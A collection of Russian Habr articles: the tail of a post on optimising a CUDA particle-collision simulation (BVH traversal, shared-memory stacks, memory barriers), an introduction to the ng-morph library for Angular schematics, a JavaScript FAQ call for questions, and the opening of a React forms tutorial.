Реакция “частица-частица” использует факт того, все объекты уже сохранены в дереве, поэтому существует частная процедура “рефлексивного” обхода, когда листья ищут столкновения друг с другом. Эта оптимизация была предложена Tero Karras. Особенность процедуры в том, что она распознаёт столкновения A-B и B-A как одно и то же столкновение, поэтому оно детектируется только один раз. Для этого при построении дерева вводится дополнительная информация. В промежуточных узлах хранится индекс самого правого листа (rightmost leaf), до которого можно добраться. Например, на рисунке выше rightmost(N2) = 4, а rightmost(N3) = 8. Когда поток, связанный с листом, скажем, O6, будет опускаться от корня, он обратится к промежуточному узлу N2. Благодаря переменной rightmost, он увидит, что лист O6 недостижим из поддерева N2. В этом случае поток O6 должен проигнорировать всё поддерево N2. Однако, потоки, связанные с листьями из поддерева N2, будут проверять поддерево N3. В конечном итоге, если столкновение с O6 и существует, то об этом сообщит только один поток, и он будет из поддерева N2.
Для частной процедуры рефлексивного обхода прототип функции выглядит следующим образом:
```
template
void CMortonTree::TraverseReflexive(const TDeviceCollisionResponseSolver& solver);
```
Для случая “частица-сегмент профиля” используется универсальная версия:
```
template
void CMortonTree::Traverse(const thrust::device\_vector& objects, const TDeviceCollisionResponseSolver& solver);
```
Здесь *TDeviceCollisionResponseSolver* — это объект, который должен реализовать следующий интерфейс:
```
struct Solver
{
struct SDeviceSideSolver
{
...
__device__ SDeviceSideSolver(...);
__device__ void OnPreTraversal(TIndex curId);
__device__ void OnCollisionDetected(TIndex leafId);
__device__ void OnPostTraversal();
};
Solver(...);
__device__ SDeviceSideSolver Create();
};
```
Для каждого тестируемого на столкновение объекта, или листа в случае рефлексивного подхода, создаётся отдельный поток. Каждый поток создаёт свой солвер через фабричную функцию Create(). Далее вызывается метод OnPreTraversal, куда передаётся индекс тестируемого объекта. Если бокс текущего тестируемого объекта перекрыл бокс какого-то листа, вызывается функция OnCollisionDetected с индексом листа. Эта функция отвечает за расчёт физики. После обхода дерева вызывается OnPostTraversal.
Такой формат разрешения коллизий появился неслучайно. С самого начала я реализовал его по-другому. Я разделил обход дерева и вычисление физики на две различные стадии, как это сделал Tero Karras. Однако я столкнулся с проблемой построения списков найденных столкновений. Я попробовал сохранять информацию о коллизиях в виде матрицы NxO, где N — количество тестируемых объектов, O — максимальный размер списка. Но я отказался от этой идеи, потому что при определенных сценариях быстро заканчивалось место в списках. А это в свою очередь создавало различные физические артефакты. К тому же я обратил внимание, что профилировщик сигнализировал о неэффективной работе с памятью ([coalesced memory access](https://www.youtube.com/watch?v=mLxZyWOI340)). Поэтому я решил попробовать подход без списков, который был описан выше. К моему удивлению, способ оказался немного быстрее и без артефактов.
**Код солвера “частица-частица”**
```
struct SParticleParticleCollisionSolver
{
struct SDeviceSideSolver
{
CDerivativeSolver::SIntermediateSimState& simState;
TIndex curIdx;
float2 pos1;
float2 vel1;
float2 totalForce;
float totalPressure;
__device__ SDeviceSideSolver(CDerivativeSolver::SIntermediateSimState& state) : simState(state)
{
}
__device__ void OnPreTraversal(TIndex curLeafIdx)
{
curIdx = curLeafIdx;
pos1 = simState.pos[curLeafIdx];
vel1 = simState.vel[curLeafIdx];
totalForce = make_float2(0.0f);
totalPressure = 0.0f;
}
__device__ void OnCollisionDetected(TIndex anotherLeafIdx)
{
const auto pos2 = simState.pos[anotherLeafIdx];
const auto deltaPos = pos2 - pos1;
const auto distanceSq = dot(deltaPos, deltaPos);
if (distanceSq > simState.diameterSq || distanceSq < 1e-8f)
return;
const auto vel2 = simState.vel[anotherLeafIdx];
auto dist = sqrtf(distanceSq);
auto dir = deltaPos / dist;
auto springLen = simState.diameter - dist;
auto force = SpringDamper(dir, vel1, vel2, springLen);
auto pressure = length(force);
totalForce += force;
totalPressure += pressure;
atomicAdd(&simState.force[anotherLeafIdx].x, -force.x);
atomicAdd(&simState.force[anotherLeafIdx].y, -force.y);
atomicAdd(&simState.pressure[anotherLeafIdx], pressure);
}
__device__ void OnPostTraversal()
{
atomicAdd(&simState.force[curIdx].x, totalForce.x);
atomicAdd(&simState.force[curIdx].y, totalForce.y);
atomicAdd(&simState.pressure[curIdx], totalPressure);
}
};
CDerivativeSolver::SIntermediateSimState simState;
SParticleParticleCollisionSolver(const CDerivativeSolver::SIntermediateSimState& state) : simState(state)
{
}
__device__ SDeviceSideSolver Create()
{
return SDeviceSideSolver(simState);
}
};
void CDerivativeSolver::ResolveParticleParticleCollisions()
{
m_particlesTree.TraverseReflexive(SParticleParticleCollisionSolver(m\_particles.GetSimState()));
CudaCheckError();
}
```
Во время отладки я обратил внимание, что при высокой плотности частиц, функция OnCollistionDetected как правило вызывается для одних и тех же аргументов среди потоков одного [варпа](https://docs.microsoft.com/ru-ru/archive/blogs/nativeconcurrency/warp-or-wavefront-of-gpu-threads). Типовой сценарий был следующий: если в какой-то области пространства есть частицы A, B, C и D, которые в указанном порядке расположены на Z кривой, то приблизительно происходило вот что:
| lock-step # | Thread #1 | Thread #2 | Thread #3 |
| --- | --- | --- | --- |
| 1 | OnCollisionDetected
**A <-> C** | OnCollisionDetected
**B <-> C** | OnCollisionDetected
C <-> D |
| 2 | OnCollisionDetected
**A <-> D** | OnCollisionDetected
**B <-> D** | INACTIVE |
| 3 | OnPostTraversal(1) | OnPostTraversal(2) | OnPostTraversal(3) |
Как видно из таблицы, на шаге 1 и 2 потоки #1 и #2 выполняли атомарные обращения atomicAdd с одними и тем же частицам C и D в процессе работы функции OnCollistionDetected. Это создаёт дополнительную нагрузку на [atomic транзакции](https://docs.nvidia.com/nsight-visual-studio-edition/2019.4/Nsight_Visual_Studio_Edition_User_Guide.htm#Analysis/Report/CudaExperiments/KernelLevel/MemoryStatisticsAtomics.htm%3FTocPath%3DAnalysis%2520Tools%7CCUDA%2520Experiments%7CKernel-Level%2520Experiments%7CMemory%2520Statistics%7C_____3).
Начиная с архитектуры Volta, Nvidia добавила в чипы поддержку [новых warp-vote инструкций](http://www.irisa.fr/alf/downloads/collange/talks/collange_warp_synchronous_19.pdf). С помощью инструкции match\_any поток может опросить весь warp, получив битовую маску потоков, у которых значение запрашиваемой переменной имеет такое же значение.
*Результат работы match\_any и match\_all для двух кооперативных групп*
Коммуникация внутри варпа тоже стала удобнее, потому что появились [новые warp shuffle функции](https://docs.nvidia.com/cuda/cuda-c-programming-guide/index.html#warp-shuffle-functions) с поддержкой маски потоков.
*Warp-wide редукция с помощью старых функций без маски*
Благодаря этим функциям, потоки перед обращением в глобальную память могут сгруппироваться по признаку общего выходного адреса. Далее эта группа должна выполнить суммирование на уровне регистров SM и уже после этого только один поток обращается в глобальную память. К сожалению, на моём домашнем Pascal (1080 Ti) таких инструкций нет, поэтому я решил попробовать их проэмулировать. Увы, никакого прироста, как и замедления это не дало. Профилировка показала, что хоть нагрузка на atomic транзакции и упала в несколько раз, существенно возросла нагрузка на [Arithmetic Workload](https://docs.nvidia.com/nsight-visual-studio-edition/2019.4/Nsight_Visual_Studio_Edition_User_Guide.htm#Analysis/Report/CudaExperiments/KernelLevel/PipeUtilization.htm#ArithmeticWorkload) и увеличилось [количество регистров на поток](https://docs.nvidia.com/nsight-visual-studio-edition/2019.4/Nsight_Visual_Studio_Edition_User_Guide.htm#Analysis/Report/CudaExperiments/KernelLevel/AchievedOccupancy.htm#VaryingRegisterCount). Заняться разработкой на чипах с Volta или Turing пока не представилось возможным. Хотя, мне всё же удалось протестировать симуляцию на RTX 2060 и найти баг, связанной с atomic операцией. Об этом в разделе “Барьер памяти”.
Другие оптимизации и дополнения
-------------------------------
В данном разделе мне бы хотелось рассказать о некоторых отличиях от оригинального алгоритма, которые дали дополнительный прирост в производительности, а также некоторые комментарии по особенностям реализации.
### SoA
Structure of Arrays — одна из техник, которая позволяет ускорить доступ к памяти в определённых ситуациях.
При работе с деревом на любом из этапов как правило не требуется полный набор атрибутов. А значит вместо того, чтобы хранить каждый узел в виде структуры, всё дерево хранится в виде SoA:
```
typedef uint32_t TIndex;
struct STreeNodeSoA
{
const TIndex leafs;
int* __restrict__ atomicVisits;
TIndex* __restrict__ parents;
TIndex* __restrict__ lefts;
TIndex* __restrict__ rights;
TIndex* __restrict__ rightmosts;
SBoundingBox* __restrict__ boxes;
const uint32_t* __restrict__ sortedMortonCodes;
};
```
То же самое касается и внутреннего состояния солвера производной состояния:
```
struct SIntermediateSimState
{
const TIndex particles;
const float particleRad;
const float diameter;
const float diameterSq;
float2* __restrict__ pos;
float2* __restrict__ vel;
float2* __restrict__ force;
float* __restrict__ pressure;
};
```
В то же время, массив bounding box’ов нет смысла хранить в SoA стиле, потому что во всех сценариях необходимы обе точки. Поэтому боксы хранятся в виде Array of Structures (AoS):
```
struct SBoundingBox
{
float2 min;
float2 max;
};
struct SBoundingBoxesAoS
{
const size_t count;
SBoundingBox* __restrict__ boxes;
};
```
### Реордеринг частиц
Так как текущая реализация не строит списки столкновений, а разрешает коллизии прямо на месте, то возникает следующая проблема. После присвоения кодов Мортона центрам боксов, выполняется сортировка самих боксов. Однако остальные параметры частиц остаются неотсортированными. Если в процессе обхода дерева продолжить обращаться к данным в исходном порядке, то мы получаем [uncoalesced memory access](https://www.youtube.com/watch?v=mLxZyWOI340).
Такой паттерн доступа очень медленно работает на GPU. Для восстановления coalesced memory access, позиции и скорости частиц тоже упорядочиваются вдоль кривой. А после выполнения всех расчётов, силы и давления как выходные величины возвращаются к исходному порядку. Идея не нова и была позаимствована из уже упомянутого доклада SpaceX: <https://youtu.be/vYA0f6R5KAI?t=1939> (ссылка с таймкодом).
*Восстановление объединённого доступа к памяти (изображение SpaceX)*
Такая оптимизация даёт 50% прироста производительности: с 8 FPS до 12 FPS для двух миллионов частиц.
**UPD:** во избежание недопониманий уточню, что между кадрами происходит 16 шагов симуляции, то есть после этой оптимизации пиковая производительность достигла 192 шагов в секунду. Зачем нужно было так делать, я развёрнуто ответил [в комментарии](https://habr.com/ru/post/519032/#comment_22068238).
### Стек в Shared Memory
Оригинальная статья приводит пример реализации, где стек для обхода дерева реализуется в виде локального массива в скоупе функции. Проблема этого подхода в том, что задействуется локальная память потока — область в глобальной памяти. А значит SM начинает выполнять долгие транзакции на чтение и запись, которые ко всему прочему могут оказаться ещё uncoalesced. Суть данной оптимизации в том, чтобы использовать сверхбыструю Shared Memory на кристалле самого Streaming Multiprocessor’а.
**Оригинальный код**
```
__device__ void traverseIterative( CollisionList& list,
BVH& bvh,
AABB& queryAABB,
int queryObjectIdx)
{
// Allocate traversal stack from thread-local memory,
// and push NULL to indicate that there are no postponed nodes.
NodePtr stack[64]; //<---------------------------- Проблемное место
NodePtr* stackPtr = stack;
*stackPtr++ = NULL; // push
// Traverse nodes starting from the root.
NodePtr node = bvh.getRoot();
do
{
// Check each child node for overlap.
NodePtr childL = bvh.getLeftChild(node);
NodePtr childR = bvh.getRightChild(node);
bool overlapL = ( checkOverlap(queryAABB,
bvh.getAABB(childL)) );
bool overlapR = ( checkOverlap(queryAABB,
bvh.getAABB(childR)) );
// Query overlaps a leaf node => report collision.
if (overlapL && bvh.isLeaf(childL))
list.add(queryObjectIdx, bvh.getObjectIdx(childL));
if (overlapR && bvh.isLeaf(childR))
list.add(queryObjectIdx, bvh.getObjectIdx(childR));
// Query overlaps an internal node => traverse.
bool traverseL = (overlapL && !bvh.isLeaf(childL));
bool traverseR = (overlapR && !bvh.isLeaf(childR));
if (!traverseL && !traverseR)
node = *--stackPtr; // pop
else
{
node = (traverseL) ? childL : childR;
if (traverseL && traverseR)
*stackPtr++ = childR; // push
}
}
while (node != NULL);
}
```
**Стек в Shared Memory**
```
template
\_\_global\_\_ void TraverseMortonTreeKernel(const CMortonTree::STreeNodeSoA treeInfo, const SBoundingBoxesAoS externalObjects, TDeviceCollisionResponseSolver solver)
{
const auto threadId = blockIdx.x \* blockDim.x + threadIdx.x;
if (threadId >= externalObjects.count)
return;
const auto objectBox = externalObjects.boxes[threadId];
const auto internalCount = treeInfo.leafs - 1;
\_\_shared\_\_ TIndex stack[kTreeStackSize][kWarpSize]; //Тот самый стек
unsigned top = 0;
stack[top][threadIdx.x] = 0;
auto deviceSideSolver = solver.Create();
deviceSideSolver.OnPreTraversal(threadId);
while (top < kTreeStackSize) //top == -1 also covered
{
auto cur = stack[top--][threadIdx.x];
if (!treeInfo.boxes[cur].Overlaps(objectBox))
continue;
if (cur < internalCount)
{
stack[++top][threadIdx.x] = treeInfo.lefts[cur];
if (top + 1 < kTreeStackSize)
stack[++top][threadIdx.x] = treeInfo.rights[cur];
else
printf("stack size exceeded\n");
continue;
}
deviceSideSolver.OnCollisionDetected(cur - internalCount);
}
deviceSideSolver.OnPostTraversal();
}
```
Использование Shared Memory позволяет достичь прироста на 43%: с 14 FPS до 20 FPS. Подробнее о доступных типах памяти можно почитать в официальной документации:
<https://docs.nvidia.com/cuda/cuda-c-programming-guide/index.html#device-memory-accesses>
### Барьер памяти
Когда я разрабатывал симулятор, я пользовался исключительно одной видеокартой — 1080 Ti поколения Pascal. Пользоваться другими в целях разработки, к сожалению, возможности не было. Но у меня была возможность просить трёх моих знакомых запустить приложение на их игровых ноутбуках с новой на тот момент 20-й серией чипов. Все три ноутбука выдавали изображения с вот такими артефактами.
*Артефакт на 20-й RTX серии. Позиции и размер артефактов каждый шаг менялись.*
Сначала я думал, что это проблема визуализации, но нигде не мог найти ошибку. Проверка кода самой симуляции тоже не дала результатов. Осознание пришло через полгода после просмотра этого доклада:
*Доклад об атомиках и барьерах памяти.*
Половина доклада посвящена идее барьеров памяти и почему они важны при работе с atomic-операциями и lock-free структурами. Дело в том, что процессоры имеют тенденцию переупорядочивать выполнение инструкций ([Out-of-order execution](https://en.wikipedia.org/wiki/Out-of-order_execution)), но при этом отслеживая и сохраняя зависимости между ними, чтобы гарантировать корректность. В случае с lock-free структурами для процессоров зависимость не очевидна. Поэтому, нужны барьеры памяти, которые подсказывают процессору, что инструкции не могут быть переупорядочены через барьер. Каждая платформа реализует барьеры по-своему, но, к счастью, разработчики стандарта C++ смогли построить наиболее общую модель. Подробное описание каждой семантики барьеров доступно в документации по [std::memory\_order](https://en.cppreference.com/w/cpp/atomic/memory_order).
```
__device__ void CMortonTree::STreeNodeSoA::BottomToTopInitialization(size_t leafId)
{
auto cur = leafs - 1 + leafId;
auto curBox = boxes[cur];
while (cur != 0)
{
auto parent = parents[cur];
//1. Опасная atomic операция
auto visited = atomicExch(&atomicVisits[parent], 1);
if (!visited)
return;
TIndex siblingIndex;
SBoundingBox siblingBox;
TIndex rightmostIndex;
TIndex rightmostChild;
auto leftParentChild = lefts[parent];
if (leftParentChild == cur)
{
auto rightParentChild = rights[parent];
siblingIndex = rightParentChild;
rightmostIndex = rightParentChild;
}
else
{
siblingIndex = leftParentChild;
rightmostIndex = cur;
}
siblingBox = boxes[siblingIndex];
rightmostChild = rightmosts[rightmostIndex];
SBoundingBox parentBox = SBoundingBox::ExpandBox(curBox, siblingBox);
boxes[parent] = parentBox;
rightmosts[parent] = rightmostChild;
cur = parent;
curBox = parentBox;
//2. Спасительный барьер памяти.
//Следующая итерация гарантированно увидит результаты всех записей
__threadfence();
}
}
```
Моя ошибка была в том, что я не использовал никаких барьеров памяти в коде, который строит BVH дерево, но при этом активно использует атомарный флаг. Интересно, что оригинальная статья также не использует никаких барьеров. Скорее всего, помимо новой SIMT модели ([разделы Volta SIMT Model и Starvation-Free Algorithms](https://developer.nvidia.com/blog/inside-volta/)) Nvidia добавила в новые архитектуры начиная с Volta более агрессивную реализацию уже упомянутой Out-of-order execution. Как следствие, операции, которые должны были выполняться до atomicExch(), т.е. ещё на предыдущей итерации цикла, на Turing исполняются уже после. В результате такого агрессивного реордеринга инструкций, второй ребёнок, приходя к родителю думает, что его сиблинг уже вычислил и сохранил бокс в общую память, а на самом деле нет. В результате получается data race.
### thrust::device\_vector
Я слишком поздно заметил, что [thurst::device\_vector](https://docs.nvidia.com/cuda/thrust/index.html#vectors) работает в синхронном режиме. Этот контейнер в своём конструкторе и в методе resize() выполняет **полную синхронизацию** с GPU через [cudaDeviceSynchronize()](https://docs.nvidia.com/cuda/cuda-c-programming-guide/index.html#explicit-synchronization). Видимо, разработчики руководствовались следующими рассуждениями. Раз вектор на видеокарте, то и конструкторы элементов нужно тоже вызывать на видеокарте. Но так как конструкторы могут кидать исключения, нужно дождаться их исполнения, чтобы словить все исключения. Единственный доступный способ для них — полная синхронизация. Ещё одна из обнаруженных проблем — редукция (reduce, sum, min, max) тоже синхронная, так как возвращает результат на хост. [Библиотека Cuda UnBound (CUB)](https://nvlabs.github.io/cub/) в этом плане куда продуманнее. Кстати, недавно она вошла в состав thrust как бэкенд, хотя раньше её нужно было скачивать отдельно.
### Результаты профилировки
Наконец, подробный отчёт о том, что происходит во время расчёта каждого шага для двух миллионов частиц.
[](https://habrastorage.org/webt/tr/bi/_n/trbi_npwfuruyhychclbkmjrne8.png)
*Картинка кликабельна, можно посмотреть в высоком разрешении*
Заключение
----------
Когда я брался за этот проект, я всего лишь хотел использовать GPU как мини-суперкомпьютер, чтобы проверить жизнеспособность модели Ньютона. В итоге задача оказалась куда интереснее и плодотворнее, чем ожидалось. Симуляция показала “эффект пушечного ядра”, а сама работа над проектом вылилась в исследование и долгие часы работы в [APOD](https://docs.nvidia.com/cuda/cuda-c-best-practices-guide/index.html#assess-parallelize-optimize-deploy) режиме.
Надеюсь, что описанный в этой статье опыт, а также предложенные решения проблем, помогут вам в ваших проектах, пускай даже не связанные с GPU.
Если вы хотели бы начать изучать CUDA, но не знаете, с чего начать, на Youtube есть отличный курс от Udacity “Intro to Parallel Programming”. Рекомендую к ознакомлению.
<https://www.youtube.com/playlist?list=PLAwxTw4SYaPnFKojVQrmyOGFCqHTxfdv2>
Напоследок, ещё несколько видео симуляций:
*CPU-версия, 8 потоков, 131'072 частиц*
*CUDA-версия, 4.2М частиц, 30 минут симуляции* | https://habr.com/ru/post/519032/ | null | ru | null |
# Как мутировать код в Angular-схематиках и не поседеть
Чтобы использовать Angular CLI на полную, разработчики должны знать, что такое схематики. Например, команды ng add, ng update и ng generate используют схематики для добавления, обновления и настройки библиотек и кодогенерации в приложениях. Во время выполнения схематика вы получаете доступ к файловой системе и можете мутировать исходный код приложения так, как вам нужно. «Но, чтобы мутировать код, нужно работать с AST, а это сложно», — возможно, скажете вы, и будете правы!
В этой статье расскажу, как мы пытаемся упростить работу с AST и сделать написание схематиков обыденным. А еще покажу, что так же просто можно работать с AST не только в Angular-проектах, а практически в любом проекте на JavaScript/TypeScript.
---
Что такое схематик
------------------
Технически схематик — это функция, которая принимает два аргумента на вход: специфичные для схематика опции и контекст, который используется для логирования и несет в себе утилитарные функции.
Функция возвращает тип `Rule`. Давайте посмотрим на него внимательнее:
```
type Rule = (tree: Tree, context: SchematicContext) => Tree | Observable | Rule | Promise | void;
```
Из определения типа понятно, что `Rule` может быть как синхронным, так и асинхронным. И, как бонус, мы можем вернуть `Observable`. Из типа `Rule` остался только один неизвестный интерфейс — `Tree`. `Tree` — это виртуальная абстракция для работы с файловой системой, изменения в которой накладываются на реальную файловую систему.
Каждая команда `ng`, которая использует схематики, имеет собственные настройки, но в итоге все сводится именно к вызову вышеописанной функции.
Зачем нужен схематик
--------------------
Мы широко используем схематики по целому ряду причин.
**Выполнение миграций при обновлении библиотек**. В основном используется при мажорных изменениях и помогает разработчикам более просто мигрировать. Сам Angular всегда использует миграции для переезда между версиями. Мы даже [контрибьютили в RenovateBot](https://github.com/renovatebot/renovate/pull/7632), чтобы у пользователей была возможность запускать миграции при автоматическом обновлении зависимостей.
**Настройка библиотек при их добавлении в проект.** Позволяет сразу подготовить приложение к использованию: добавить импорт в нужный модуль, заинжектить дефолтные конфиги или внести изменения в процесс сборки.
**Кодогенерация.** Быстрое создание скелетов библиотек, приложений, компонентов, директив, etc. Например, схематики позволяют в одну команду создать лейзи роут вашего приложения со всеми нужными базовыми конфигами. Мы широко используем эту возможность не только для добавления и генерации кода новых фичей, но и для миграции кодовой базы на другой функционал. Каждый пункт можно развернуть в достаточно большой список кейсов, но оставим это на откуп вашей фантазии и комментариям.
По итогу можно сказать, что написание схематиков неплохо экономит время пользователей. Но…
Есть подвох
-----------
В какой-то момент мы осознали, что на создание схематика потратили больше ресурсов, чем планировали. Хотя задача заключалась в добавлении одного импорта модуля в главный модуль приложения при миграции.
Проблема была в том, что мы решили работать с AST для мутаций. Но это не так просто разработчику, который большую часть времени работает с сущностями Angular и версткой.
Например, команда Angular использует typescript API в миграциях. Но как часто вы сталкиваетесь с программным использованием пакета typescript? Как часто вы оперируете нодами из TS-компилятора, чтобы добавить пару новых проперти в объект или элемента в массив?
Ниже — пример функции, которая добавляет данные в метаданные модуля ([оригинал](https://github.com/angular/components/blob/f4a54d64cc6bbb8557e72fc5f2ec7e9a88714ce2/src/cdk/schematics/utils/vendored-ast-utils/index.ts#L336)). *Осторожно: код приведен для примера, не советую напрягаться и пытаться понять, что в нем происходит!*
```
export function addSymbolToNgModuleMetadata(
source: ts.SourceFile,
ngModulePath: string,
metadataField: string,
symbolName: string,
importPath: string | null = null,
): Change[] {
const nodes = getDecoratorMetadata(source, 'NgModule', '@angular/core');
let node: any = nodes[0]; // tslint:disable-line:no-any
// Find the decorator declaration.
if (!node) {
return [];
}
// Get all the children property assignment of object literals.
const matchingProperties = getMetadataField(
node as ts.ObjectLiteralExpression,
metadataField,
);
// Get the last node of the array literal.
if (!matchingProperties) {
return [];
}
if (matchingProperties.length == 0) {
// We haven't found the field in the metadata declaration. Insert a new field.
const expr = node as ts.ObjectLiteralExpression;
let position: number;
let toInsert: string;
if (expr.properties.length == 0) {
position = expr.getEnd() - 1;
toInsert = ` ${metadataField}: [${symbolName}]\\\\n`;
} else {
node = expr.properties[expr.properties.length - 1];
position = node.getEnd();
// Get the indentation of the last element, if any.
const text = node.getFullText(source);
const matches = text.match(/^\\\\r?\\\\n\\\\s*/);
if (matches && matches.length > 0) {
toInsert = `,${matches[0]}${metadataField}: [${symbolName}]`;
} else {
toInsert = `, ${metadataField}: [${symbolName}]`;
}
}
if (importPath !== null) {
return [
new InsertChange(ngModulePath, position, toInsert),
insertImport(source, ngModulePath, symbolName.replace(/\\\\..*$/, ''), importPath),
];
} else {
return [new InsertChange(ngModulePath, position, toInsert)];
}
}
const assignment = matchingProperties[0] as ts.PropertyAssignment;
// If it's not an array, nothing we can do really.
if (assignment.initializer.kind !== ts.SyntaxKind.ArrayLiteralExpression) {
return [];
}
const arrLiteral = assignment.initializer as ts.ArrayLiteralExpression;
if (arrLiteral.elements.length == 0) {
// Forward the property.
node = arrLiteral;
} else {
node = arrLiteral.elements;
}
if (!node) {
// tslint:disable-next-line: no-console
console.error('No app module found. Please add your new class to your component.');
return [];
}
if (Array.isArray(node)) {
const nodeArray = node as {} as Array;
const symbolsArray = nodeArray.map(node => node.getText());
if (symbolsArray.includes(symbolName)) {
return [];
}
node = node[node.length - 1];
}
let toInsert: string;
let position = node.getEnd();
if (node.kind == ts.SyntaxKind.ObjectLiteralExpression) {
// We haven't found the field in the metadata declaration. Insert a new
// field.
const expr = node as ts.ObjectLiteralExpression;
if (expr.properties.length == 0) {
position = expr.getEnd() - 1;
toInsert = ` ${symbolName}\\\\n`;
} else {
// Get the indentation of the last element, if any.
const text = node.getFullText(source);
if (text.match(/^\\\\r?\\\\r?\\\\n/)) {
toInsert = `,${text.match(/^\\\\r?\\\\n\\\\s\*/)[0]}${symbolName}`;
} else {
toInsert = `, ${symbolName}`;
}
}
} else if (node.kind == ts.SyntaxKind.ArrayLiteralExpression) {
// We found the field but it's empty. Insert it just before the `]`.
position--;
toInsert = `${symbolName}`;
} else {
// Get the indentation of the last element, if any.
const text = node.getFullText(source);
if (text.match(/^\\\\r?\\\\n/)) {
toInsert = `,${text.match(/^\\\\r?\\\\n(\\\\r?)\\\\s\*/)[0]}${symbolName}`;
} else {
toInsert = `, ${symbolName}`;
}
}
if (importPath !== null) {
return [
new InsertChange(ngModulePath, position, toInsert),
insertImport(source, ngModulePath, symbolName.replace(/\\\\..\*$/, ''), importPath),
];
}
return [new InsertChange(ngModulePath, position, toInsert)];
}
```
Выглядит совершенно не вдохновляюще. Поэтому мы решили создать верхнеуровневую библиотеку, которая позволяет писать схематики намного проще.
ng-morph
--------
В основе библиотеки лежит [ts-morph.](https://github.com/dsherret/ts-morph) По сути, ts-morph — это обертка над компилятором typescript, которая упрощает работу с AST.
Представляю вашему вниманию `ng-morph`. Это набор утилит, который позволит вам писать схематики намного проще и быстрее. Чтобы не быть голословным, предлагаю сразу рассмотреть несколько примеров с его использованием.
**Задача № 1.** Добавить импорт модуля `SomeModule` в корневой модуль приложения.
**Решение.**
```
const rule: Rule = (tree: Tree, context: SchematicContext): void => {
setActiveProject(createProject(tree));
const appModule = getMainModule('src/main.ts');
addImportToNgModule(appModule, 'SomeModule');
addImports(appModule.getFilePath(), {moduleSpecifier: '@some/package', namedExports: ['SomeModule']})
saveActiveProject();
}
```
Рассмотрим решение построчно:
1. Создаем проект `ng-morph` и делаем его активным. Это важно, так как все утилитарные функции работают именно в контексте активного проекта. Под проектом нужно понимать класс, который дает API к файловой системе, компилятору и т. д.
2. По точке входа приложения находим главный модуль приложения.
3. Добавляем в импорты найденного модуля новый.
4. Добавляем импорт модуля в файл, где расположен корневой модуль.
5. Сохраняем проект.
Теперь сравните это решение с функцией выше из исходников Angular. Если вы будете использовать `ng-morph`, скорее всего, вам не придется писать что-то подобное.
**Задача № 2.** В проекте неожиданно меняется стиль написания имени для enum на uppercase.
**Решение.** Логичные вопросы: при чем здесь `ng-morph`? Ведь мы говорим про схематики, неужели нужно настраивать и писать схематики только для того, чтобы переименовать энамы?
Все верно. Схематики кажутся слишком сложными для переименования энамов. Но все же давайте посмотрим, что нам может предложить `ng-morph`:
```
setActiveProject(createProject(new NgMorphTree('/')));
const enums = getEnums('/**/*.ts');
editEnums(enums, ({name}) => ({name: name.toUpperCase()}))
```
1. Создаем проект. Тут есть важное отличие: скрипт не завернут в функцию схематика и аргумент tree создается вручную с помощью класса NgMorphHost.
2. Ищем все enum в проекте.
3. Переименовываем все enum.
На этом примере мы видим, что `ng-morph` умеет работать и вне функций схематиков! Да, мы используем `ng-morph` не только в схематиках и не только в Angular-проектах.
Что еще умеет ng-moprh?
-----------------------
**Создавать**
```
createImports('/src/some.ts', [
{
namedImports: ['CoreModule'],
moduleSpecifier: '@org/core',
isTypeOnly: true,
}
]);
```
**Искать**
```
const imports = getImports('src/**/*.ts', {
moduleSpecifier: '@org/*',
});
```
**Изменять**
```
editImports(imports, ({moduleSpecifier}) => ({
moduleSpecifier: moduleSpecifier.replace('@org', '@new-org')
})
```
**Удалять**
```
removeImports(imports)
```
Почти по каждой сущности в TS есть свой набор функций: `get*`, `edit*`, `add*`, `remove*`. Например, `getClass`, `removeConstrucor`, `addDecorator`. Начали появляться утилитарные функции для работы со специфичными для Angular кейсами:
1. `getBootstrapFn` — функция, возвращающая `CallExpression`.
2. `getMainModule` — функция, которая возвращает декларацию главного модуля.
3. Куча утилитарных функций по изменению метаданных сущностей Angular: `addDeclarationToNgModule`, `addProviderToDirective` и т. д.
`ng-morph` также содержит утилиты для работы с `json`. Например, для работы с зависимостями в `package.json`:
```
addPackageJsonDependency(tree, {
name: '@package/name',
version: '~2.0.0',
type: NodeDependencyType.Dev
});
```
Но если нужна более низкоуровневая работы, всегда можно поработать с ts-morph API, а из него провалиться еще ниже — в API самого typescript.
### Вместо заключения
На данный момент roadmap не существует. Мы достаточно быстро реализовали то, чего нам не хватало, и решили показать это сообществу. И, естественно, хочется развивать инструмент дальше.
Тем не менее список фич первой необходимости все же есть:
1. Высокоуровневая работа с шаблонами.
2. Высокоуровневая работа со стилями.
3. Наращивание тулинга по работе с сущностями Angular.
И мы будем рады, если сообщество Angular поможет нам это сделать!
### Ссылки, которые вы так ждали
Репозиторий с кодом:
GitHub - TinkoffCreditSystems/ng-morph: Code mutations in schematics were never easier than now.[github.com](https://github.com/TinkoffCreditSystems/ng-morph)Сайт с документацией и примерами:
ng-morph[tinkoffcreditsystems.github.io](https://tinkoffcreditsystems.github.io/ng-morph/)### Уже используют ng-morph
Из известных мне — наша дружественная и лучшая библиотека компонентов для Angular:
GitHub - TinkoffCreditSystems/taiga-ui: Angular UI Kit and components library for awesome people[github.com](https://github.com/TinkoffCreditSystems/taiga-ui) | https://habr.com/ru/post/582120/ | null | ru | null |
# FAQ по JavaScript: задавайте вопросы
Предлагаю продолжить [тему](http://habrahabr.ru/blogs/canvas/119364/ "FAQ по Canvas: задавайте вопросы") часто задаваемых вопросов на хабре. Неделя Canvas отгремела, теперь, пришел черед JavaScript. Такой формат топика показался [TheShock](https://habrahabr.ru/users/theshock/) и мне очень удачным, поэтому мы решили поделиться с вами нашими знаниями JavaScript.
Мы ответим на ваши вопросы, касаемо сомнительных моментов языка(this, arguments, bind, функции, замыкания, модули), ECMAScript 3, 5, 6+, реализации языка в конкретных браузерах, фрэймворков(jQuery, Prototype, Mootools...), архитектуре приложений(паттерны, MVC...), тестировании, и вообще всего с чем связан JavaScript и разработка на JavaScript(как клиентской так и серверной).
Если у вас нет возможности задать вопрос в комментарии, то вы можете связаться с нами по другим источникам, которые вы можете найти в профиле: [azproduction](https://habrahabr.ru/users/azproduction/), [TheShock](https://habrahabr.ru/users/theshock/) или по email: `azazel``.private@``gmail.com`, `shocksilien@``gmail.com`
В конце недели, начале следующей мы опубликуем ответы на все ваши вопросы.
Этот пост краток, а ответы будут развернутыми! | https://habr.com/ru/post/119851/ | null | ru | null |
# Учебный курс по React, часть 24: второе занятие по работе с формами
Сегодня мы продолжим разговор об использовании форм в React. В прошлый раз мы рассматривали особенности взаимодействия компонентов и текстовых полей. Здесь же мы обсудим работу с другими элементами форм.
[](https://habr.com/ru/company/ruvds/blog/444356/)
